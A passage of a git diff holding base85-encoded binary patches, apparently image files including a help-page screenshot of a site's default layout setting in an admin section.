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 TzcBd5A*NF&&K}PuTHXF%wvpmW literal 0 HcmV?d00001 diff --git a/admin/help/img/make_general_site/default_layout_setting.PNG b/admin/help/img/make_general_site/default_layout_setting.PNG new file mode 100644 index 0000000000000000000000000000000000000000..ab29f630db40056c99a939263e0dc09048005ac6 GIT binary patch literal 69367 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 